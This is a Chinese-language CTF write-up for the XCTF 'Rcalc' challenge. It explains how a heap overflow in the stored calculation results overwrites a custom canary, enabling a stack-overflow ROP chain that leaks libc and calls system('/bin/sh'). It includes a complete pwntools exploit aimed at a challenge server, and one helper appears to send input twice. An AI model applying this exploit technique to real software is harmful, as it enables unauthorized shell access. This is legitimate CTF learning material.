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init_heap()

qword_6020F8存放着第一个申请的chunk，qword_6020F0存放着第二个申请的chunk，*(qword_6020F8+8)存放着第三个申请
的chunk，*(qword_6020F0+8)存放着第四个申请的chunk

real_main()

程序没有开启canary保护，但是通过create_random()和get_random()实现了canary的功能。在输入name的时候没有限制长度，
存在栈溢出。

cacl()



这个函数实现了加减乘模的功能，并且在计算之后可以选择是否调用save_result()存储计算结果。

根据*(qword_6020F8)中的值为索引存放在堆上。

0x1 利用过程利用过程

1.程序存在栈溢出，又相当于开启了canary，想要绕过canary必须弄清楚这个值怎样生成，存放在哪里。通过create_ramdom()
可以得知。



通过系统生成的一个随机数作为种子，生成的随机数通过计算根据*(qword_6020F0)中的值为索引存入开辟的堆空间中。因为生
成的种子是根据熵计数器的到的，所以基本上不可能计算出canary的值。

2.因为无法计算出canary的值所以想要bypass只能通过修改储存canary处的值。通过分析可以得知qword_6020F0跟canary有
关，qword_6020F8跟计算结果有关。而通过init_heap()可以得知*(qword_6020F8+8)指向的chunk处于低地址，*
(qword_6020F8+8)处于高地址，并且从*(qword_6020F8+8)处开始存储计算结果，而计算次数并没有做限制相当于溢出，所以
可以覆盖canary的值。

3.总结上述分析得出利用过程，先泄露地址，在通过溢出修改canary的值，退出触发rop，之后故技重施就可以getshell了。

泄露地址，这里要注意scanf接收到空格(0x20)和换行(0xa)就会截断，所以在payload中不能存在这两个字符，因此选择泄露
__libc_start_main的地址。还有在调用printf函数时eax需要等于零，不然会报错(可以在ida中发现在调用函数之前大部分都
将eax清零了)。因为在调用完函数之后返回值会存放在eax(此时eax中存放的是canary的值)中但是调用printf泄露地址的时候
eax并没有清零，所以将canary的结果覆盖为零就不会报错。至于为什么要在调用函数前将eax清零没有找到一个很好的解
释。

payload=padding+p64(pop_rdi_addr)+p64(libc_start_main_got)+p64(printf_plt)+p64(main_addr)
welcome(payload)
heapOverflow()
exit()

libc_start_main_addr=u64(sh.recv(6).ljust(8,'\x00'))
if local:
    libc_base=libc_start_main_addr-libc_start_main_libc
    system_addr=system_libc+libc_base
    bin_sh_addr=bin_sh_libc+libc_base
else:
    libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
    libc_base=libc_start_main_addr-libc.dump('__libc_start_main')
    system_addr=libc_base+libc.dump('system')
    bin_sh_addr=libc_base+libc.dump('str_bin_sh')

getshell



payload=padding+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
welcome(payload)
heapOverflow()
exit()
sh.interactive()

0x2 exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
local=0
if local:
    sh=process('./a')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_start_main_libc=libc.symbols['__libc_start_main']
    system_libc=libc.symbols['system']
    bin_sh_libc=libc.search("/bin/sh").next()
else:
    sh=remote('220.249.52.133','36729')

elf=ELF('./a')
libc_start_main_got=elf.got['__libc_start_main']
printf_plt=elf.plt['printf']

pop_rdi_addr=0x401123
main_addr=0x401036

def welcome(name):
    sh.sendlineafter('Input your name pls: ',name)

def send_interger(int1,int2):
    sh.recvuntil('input 2 integer: ')
    sh.sendline(str(int1))
    sh.sendline(str(int2))

def save_result(flag):
    string='no'
    if flag:
        string='yes'
    sh.sendafter('Save the result? ',string)

def add(int1,int2,flag):
    sh.sendlineafter('Your choice:','1')
    send_interger(int1,int2)
    save_result(flag)

def sub(int1,int2,flag):
    sh.sendlineafter('Your choice:','2')
    send_interger(int1,int2)
    save_result(flag)

def mod(int1,int2,flag):
    sh.sendlineafter('Your choice:','3')
    send_interger(int1,int2)
    save_result(flag)

def mul(int1,int2,flag):
    sh.sendlineafter('Your choice:','4')
    send_interger(int1,int2)



    send_interger(int1,int2)
    save_result(flag)

def exit():
    sh.sendlineafter('Your choice:','5')

def heapOverflow():
    for i in range(35):
        add(0,0,1)

padding='a'*0x108+p64(0)+p64(0xdeadbeef)
payload=padding+p64(pop_rdi_addr)+p64(libc_start_main_got)+p64(printf_plt)+p64(main_addr)
welcome(payload)
heapOverflow()
exit()

libc_start_main_addr=u64(sh.recv(6).ljust(8,'\x00'))
if local:
    libc_base=libc_start_main_addr-libc_start_main_libc
    system_addr=system_libc+libc_base
    bin_sh_addr=bin_sh_libc+libc_base
else:
    libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
    libc_base=libc_start_main_addr-libc.dump('__libc_start_main')
    system_addr=libc_base+libc.dump('system')
    bin_sh_addr=libc_base+libc.dump('str_bin_sh')

payload=padding+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
welcome(payload)
heapOverflow()
exit()
sh.interactive()


	Rcalc(xctf)
	0x0 程序保护和流程
	0x1 利用过程
	0x2 exp


